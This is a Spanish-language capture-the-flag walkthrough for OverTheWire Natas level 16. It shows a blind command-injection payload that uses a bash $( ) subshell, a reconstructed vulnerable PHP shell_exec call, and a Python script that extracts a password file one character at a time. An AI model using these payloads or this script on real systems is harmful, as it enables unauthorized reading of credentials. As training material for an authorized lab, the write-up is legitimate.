Natas Nivel 16 a 17
Nivel oficial: http://natas16.natas.labs.overthewire.org
Este nivel es un laboratorio legal y autorizado de OverTheWire — nunca apliques estas tecnicas fuera de entornos con permiso explicito. Extiende los retos de inyeccion de comandos de Natas 9/10 con un filtrado de caracteres mas agresivo; la vulnerabilidad persiste pero el canal de respuesta cambia: ya no ves la salida del comando inyectado directamente, solo un efecto secundario binario (aparece o no aparece texto), lo que lo convierte en una inyeccion de comandos ciega.
Objetivo
Extraer la contrasena de natas17 leyendo el archivo /etc/natas_webpass/natas17 mediante un oraculo booleano construido con subshell bash y grep.
Que aprendes
| Concepto / Comando | Para que sirve |
|---|---|
$(comando) — subshell bash | Ejecuta un comando y sustituye su salida en el sitio donde esta escrito |
grep -E ^<prefijo> <fichero> | Comprueba si el contenido empieza por un prefijo concreto |
| Oraculo booleano | Tecnica que extrae informacion bit a bit observando SI/NO en lugar de la salida directa |
grep -c / conteo de resultados | Distinguir entre “hay resultado” y “no hay resultado” en la respuesta HTTP |
| Script Python iterativo | Automatizar la extraccion caracter a caracter |
Concepto clave
Inyeccion de comandos ciega como oraculo booleano.
Cuando la aplicacion filtra o no muestra la salida del comando inyectado, aun es posible extraer datos si la respuesta cambia segun una condicion verdadero/falso. El patron es:
- El buscador original hace
grep <input_usuario> /fichero_diccionarioy muestra los resultados. - Dentro del input inyectamos un subshell:
$( grep -E ^<prefijo> /etc/natas_webpass/natas17 ). - Si el prefijo es correcto,
grepdentro del subshell devuelve la contrasena completa; ese texto se inserta en la palabra de busqueda del grep externo, que casi con certeza no la encontrara en el diccionario → la pagina devuelve cero resultados. - Si el prefijo es incorrecto, el subshell devuelve vacio → la palabra original queda intacta y el grep externo si encuentra resultados normales.
Resultado: la presencia o ausencia de resultados en la pagina revela si el prefijo es correcto. Iterando caracter a caracter se extrae la contrasena completa.
Por que no filtra esto: el nivel bloquea ;, |, &, \``, pero **no** bloquea $( )`, que es la sintaxis de subshell de bash en forma de parentesis.
Paso a paso
- Autenticarse. Conectarse a
natas16con las credenciales obtenidas en el nivel 15:
# Usuario: natas16
# Contrasena: <pass_natas16>
# URL: http://natas16.natas.labs.overthewire.org- Explorar el formulario. La pagina tiene un campo de busqueda; el codigo fuente (disponible via
?source) hace algo similar a:
$key = $_REQUEST["needle"];
// filtra caracteres peligrosos: ; | & ` \ ' "
if(preg_match('/[;|&`\\\'"]/D', $key)) {
print "Input contains an illegal character!";
} else {
$out = shell_exec("grep -i " . $key . " /etc/natas_webpass/natas17 /usr/share/dict/words 2>/dev/null");
// muestra $out
}Nota: los caracteres exactos filtrados pueden variar; comprueba el codigo fuente del reto en vivo.
- Verificar el oraculo manualmente. En el campo de busqueda introduce:
hackers$(grep -E ^a /etc/natas_webpass/natas17)
- Si la contrasena empieza por
a: el subshell devuelve la contrasena, la palabra de busqueda pasa a serhackers<contrasena>, que no existe en el diccionario → pagina vacia. - Si NO empieza por
a: subshell devuelve vacio, buscahackersen el diccionario → aparecen resultados.
- Automatizar con Python. El siguiente script itera el alfabeto caracter a caracter para construir la contrasena:
import requests
import string
# Configuracion
HOST = "http://natas16.natas.labs.overthewire.org"
USER = "natas16"
PASSWD = "<pass_natas16>"
CHARS = string.ascii_letters + string.digits # a-z A-Z 0-9
# Palabra del diccionario que SIEMPRE aparece cuando el oraculo falla
CANARY = "hackers"
session = requests.Session()
session.auth = (USER, PASSWD)
found = ""
while True:
advanced = False
for c in CHARS:
# Si el prefijo es correcto, el subshell devuelve texto y
# el canary desaparece de la respuesta
payload = f"{CANARY}$(grep -E ^{found}{c} /etc/natas_webpass/natas17)"
r = session.get(HOST, params={"needle": payload})
if CANARY not in r.text:
# Oraculo positivo: el caracter es correcto
found += c
print(f"[+] Progreso: {found}")
advanced = True
break
if not advanced:
# Ninguno de los 62 caracteres dio positivo: hemos terminado
break
print(f"\n[*] Contrasena natas17: {found}")Ejecutar con:
python3 script_natas16.pyEl script imprime la contrasena caracter a caracter hasta completarla (normalmente 32 caracteres alfanumericos). Aviso: el payload puede necesitar ajuste fino si el codigo fuente del reto en vivo usa un comando o ruta ligeramente diferente; verifica siempre con ?source antes de lanzar el script.
- Recoger la contrasena. Al terminar el script tendremos:
[*] Contrasena natas17: <pass_natas17>
Por que funciona
El filtrado de caracteres elimina los separadores de comandos clasicos (;, |, &) pero deja pasar $( ). Bash interpreta $( ) como una sustitucion de proceso antes de que el comando exterior lo vea, por lo que el shell ejecuta el grep interno y su salida se concatena al argumento del grep externo. La aplicacion nunca muestra esa salida, pero el efecto en los resultados de busqueda actua como canal lateral binario. Extraer 32 caracteres alfanumericos del alfabeto de 62 simbolos requiere como maximo 32 * 62 = 1984 peticiones HTTP, perfectamente manejable en segundos.
Errores comunes
| Error | Causa | Solucion |
|---|---|---|
| El oraculo siempre dice “positivo” aunque el caracter sea incorrecto | La palabra canary no aparece en el diccionario del servidor | Cambia el canary por otra palabra del diccionario; verifica con una busqueda manual primero |
| La pagina bloquea el payload con “illegal character” | El nivel filtra $ o ( en alguna variante | Revisa el codigo fuente con ?source; adapta el payload al filtro real |
| El script extrae un caracter incorrecto y diverge | La contrasena contiene un caracter fuera del conjunto CHARS | Amplia CHARS con string.punctuation (si el nivel lo usa) |
| Demasiadas peticiones bloqueadas por rate-limit | El servidor limita conexiones rapidas | Anade time.sleep(0.1) entre peticiones en el bucle |
Pasar al siguiente nivel
Conectarse a natas17 con la contrasena extraida:
URL: http://natas17.natas.labs.overthewire.org
Usuario: natas17
Contrasena: <pass_natas17>